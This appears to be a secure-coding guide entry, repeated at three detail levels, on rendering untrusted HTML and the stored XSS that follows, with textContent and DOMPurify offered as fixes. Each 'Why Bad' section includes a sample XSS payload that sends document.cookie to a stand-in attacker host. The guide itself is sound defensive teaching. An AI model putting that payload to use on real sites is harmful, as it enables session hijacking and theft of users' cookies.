Render Untrusted Html
Taking a string that came (directly or transitively) from a user and inserting it into the DOM as HTML — via `element.innerHTML = …`, React `dangerouslySetInnerHTML`, Vue `v-html`, Svelte `{@html …}`, or `document.…
$ prime install @security/anti-pattern-render-untrusted-html Projection
Always in _index.xml · the agent never has to ask for this.
RenderUntrustedHtml [anti-pattern] v0.1.0
Taking a string that came (directly or transitively) from a user and inserting it into the DOM as HTML — via element.innerHTML = …, React dangerouslySetInnerHTML, Vue v-html, Svelte {@html …}, or document.write. Stored XSS is the result when the string survives a round-trip through the database.
Loaded when retrieval picks the atom as adjacent / supporting.
RenderUntrustedHtml [anti-pattern] v0.1.0
Taking a string that came (directly or transitively) from a user and inserting it into the DOM as HTML — via element.innerHTML = …, React dangerouslySetInnerHTML, Vue v-html, Svelte {@html …}, or document.write. Stored XSS is the result when the string survives a round-trip through the database.
Label
Rendering user-supplied HTML directly (innerHTML / dangerouslySetInnerHTML / v-html)
Why Bad
The browser parses whatever HTML it receives. <img src=x onerror=fetch('//attacker/'+document.cookie)> is valid HTML; if it lands in the DOM, the script runs. The attacker now executes JS in the victim's session: steals cookies (if not HttpOnly), reads page contents, posts state-changing requests as the user. One unescaped sink negates almost every other security control.
Instead Do
Treat untrusted strings as text:
// Wrong:
el.innerHTML = userBio
<div dangerouslySetInnerHTML={{__html: userBio}} />
// Right:
el.textContent = userBio
<div>{userBio}</div>
If you genuinely need rich text (e.g. a rendered Markdown comment),
sanitise with a vetted library AFTER rendering Markdown to HTML:
import DOMPurify from 'dompurify'
el.innerHTML = DOMPurify.sanitize(renderedHtml)
Configure the sanitiser's allow-list (tags, attributes) explicitly
and review changes to it as security-relevant.
Loaded when retrieval picks the atom as a focal / direct hit.
RenderUntrustedHtml [anti-pattern] v0.1.0
Taking a string that came (directly or transitively) from a user and inserting it into the DOM as HTML — via element.innerHTML = …, React dangerouslySetInnerHTML, Vue v-html, Svelte {@html …}, or document.write. Stored XSS is the result when the string survives a round-trip through the database.
Label
Rendering user-supplied HTML directly (innerHTML / dangerouslySetInnerHTML / v-html)
Why Bad
The browser parses whatever HTML it receives. <img src=x onerror=fetch('//attacker/'+document.cookie)> is valid HTML; if it lands in the DOM, the script runs. The attacker now executes JS in the victim's session: steals cookies (if not HttpOnly), reads page contents, posts state-changing requests as the user. One unescaped sink negates almost every other security control.
Instead Do
Treat untrusted strings as text:
// Wrong:
el.innerHTML = userBio
<div dangerouslySetInnerHTML={{__html: userBio}} />
// Right:
el.textContent = userBio
<div>{userBio}</div>
If you genuinely need rich text (e.g. a rendered Markdown comment),
sanitise with a vetted library AFTER rendering Markdown to HTML:
import DOMPurify from 'dompurify'
el.innerHTML = DOMPurify.sanitize(renderedHtml)
Configure the sanitiser's allow-list (tags, attributes) explicitly
and review changes to it as security-relevant.
Label
Rendering user-supplied HTML directly (innerHTML / dangerouslySetInnerHTML / v-html)
Why Bad
The browser parses whatever HTML it receives. <img src=x onerror=fetch('//attacker/'+document.cookie)> is valid HTML; if it lands in the DOM, the script runs. The attacker now executes JS in the victim's session: steals cookies (if not HttpOnly), reads page contents, posts state-changing requests as the user. One unescaped sink negates almost every other security control.
Instead Do
Treat untrusted strings as text:
// Wrong:
el.innerHTML = userBio
<div dangerouslySetInnerHTML={{__html: userBio}} />
// Right:
el.textContent = userBio
<div>{userBio}</div>
If you genuinely need rich text (e.g. a rendered Markdown comment),
sanitise with a vetted library AFTER rendering Markdown to HTML:
import DOMPurify from 'dompurify'
el.innerHTML = DOMPurify.sanitize(renderedHtml)
Configure the sanitiser's allow-list (tags, attributes) explicitly
and review changes to it as security-relevant.
Source
prime-system/examples/security-appsec/primes/compiled/@security/anti-pattern-render-untrusted-html/atom.yaml